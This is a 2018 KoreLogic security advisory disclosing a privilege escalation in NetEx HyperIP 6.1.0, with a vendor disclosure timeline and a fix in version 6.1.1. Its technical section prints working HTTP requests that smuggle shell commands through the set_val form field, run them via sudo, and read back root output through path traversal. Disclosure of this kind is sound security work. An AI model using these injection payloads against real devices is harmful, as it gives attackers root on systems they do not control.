Skip to main content
Security Advisory

NetEx HyperIP Privilege Escalation Vulnerability

Advisory ID
KL-001-2018-004
Published
2018-02-08
Vendor
NetEx

Affected Systems

Product
HyperIP
Version
6.1.0
Platform
Embedded Linux

Discovered By

Matt Bergin (KoreLogic)
Download (signed .txt)

Vulnerability Details

Affected Vendor: NetEx
Affected Product: HyperIP
Affected Version: 6.1.0
Platform: Embedded Linux
CWE Classification: CWE-306: Missing Authentication for Critical Function
Impact: Privilege Escalation
Attack Vector: HTTPS

Vulnerability Description

Privileges can be escalated by abusing writable paths found within the sudoers configuration file.

Technical Description

The run script is modified with the attack payload.

  POST /hypmisc.php HTTP/1.1
  Host: 1.3.3.7
  Accept-Language: en-US,en;q=0.5
  Cookie: auth-token=b6b73844ce4df64f459948c5475a1096
  DNT: 1
  Connection: close
  Upgrade-Insecure-Requests: 1
  Content-Type: application/x-www-form-urlencoded
  Content-Length: 90

  set_id=msglvl&set_val=$(echo /usr/bin/id >> /var/ftp/pub/updates/a.run)&perm=on&submit=Set
  HTTP/1.1 200 OK
  Date: Mon, 27 Mar 2017 07:21:38 GMT
  Server: Apache/2.2.3 (CentOS)
  X-Powered-By: PHP/5.1.6
  Expires: Thu, 19 Nov 1981 08:52:00 GMT
  Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
  Pragma: no-cache
  Content-Length: 1048
  Connection: close
  Content-Type: text/html; charset=UTF-8

The attack payload can now be executed.

  POST /hypmisc.php HTTP/1.1
  Host: 1.3.3.7
  Accept-Language: en-US,en;q=0.5
  Cookie: auth-token=b6b73844ce4df64f459948c5475a1096
  DNT: 1
  Connection: close
  Upgrade-Insecure-Requests: 1
  Content-Type: application/x-www-form-urlencoded
  Content-Length: 91

  set_id=msglvl&set_val=$(sudo /var/ftp/pub/updates/a.run >> /tmp/a.output)&perm=on&submit=Set
  HTTP/1.1 200 OK
  Date: Mon, 27 Mar 2017 13:06:55 GMT
  Server: Apache/2.2.3 (CentOS)
  X-Powered-By: PHP/5.1.6
  Expires: Thu, 19 Nov 1981 08:52:00 GMT
  Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
  Pragma: no-cache
  Content-Length: 1020
  Connection: close
  Content-Type: text/html; charset=UTF-8

The output can now be read from the a.output file, which is a separate arbitrary file read issue detailed in KL-001-2018-005.

  GET /logs.php?system=../../tmp/a.output&submit=Show+System+Log HTTP/1.1
  Host: 1.3.3.7
  Accept-Language: en-US,en;q=0.5
  DNT: 1
  Connection: close
  Upgrade-Insecure-Requests: 1
HTTP/1.1 200 OK Date: Mon, 27 Mar 2017 13:07:51 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By:
PHP/5.1.6 Content-Length: 502 Connection: close Content-Type: text/html; charset=UTF-8

<html>
  <head>
    <meta http-equiv="Expires" content="0" />
    <link rel="stylesheet" href="bdstyles.css" type="text/css" />
  </head>
  <body class="dsp">
    <h1>Show System Log <font size="2">[ Monday @ 08:07:51 ]</font></h1>
    <pre>
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
  </pre
    >
  </body>
</html>

Mitigation and Remediation Recommendation

The vendor has released version 6.1.1 of HyperIP, which they state addresses this vulnerability.

Credit

This vulnerability was discovered by Matt Bergin (@thatguylevel) of KoreLogic, Inc.

Proof of Concept

See 3. Technical Description.

The contents of this advisory are copyright(c) 2018 KoreLogic, Inc. and are licensed under a Creative Commons Attribution Share-Alike 4.0 (United States) License: http://creativecommons.org/licenses/by-sa/4.0/

KoreLogic, Inc. is a founder-owned and operated company with a proven track record of providing security services to entities ranging from Fortune 500 to small and mid-sized companies. We are a highly skilled team of senior security consultants doing by-hand security assessments for the most important networks in the U.S. and around the world. We are also developers of various tools and resources aimed at helping the security community. https://www.korelogic.com/about-korelogic.html

Our public vulnerability disclosure policy is available at: https://korelogic.com/KoreLogic-Public-Vulnerability-Disclosure-Policy.v2.2.txt

Disclosure Timeline

KoreLogic submits vulnerability details to NetEx.

NetEx confirms receipt.

NetEx informs KoreLogic that this and other reported vulnerabilities have been addressed in the forthcoming release. ETA as of yet undetermined.

30 business days have elapsed since the vulnerability was reported to NetEx.

NetEx informs KoreLogic that the forthcoming release 6.1.1 is expected to ship at the end of January 2018.

45 business days have elapsed since the vulnerability was reported to NetEx.

90 business days have elapsed since the vulnerability was reported to NetEx.

120 business days have elapsed since the vulnerability was reported to NetEx.

NetEx notifies KoreLogic that the HyperIP 6.1.1 release has gone live.

KoreLogic public disclosure.

Responsible Disclosure

KoreLogic follows responsible disclosure practices. All vulnerabilities are reported to affected vendors with appropriate time for remediation before public disclosure.

Vendor notification and coordination
90+ day disclosure timeline
CVE coordination when applicable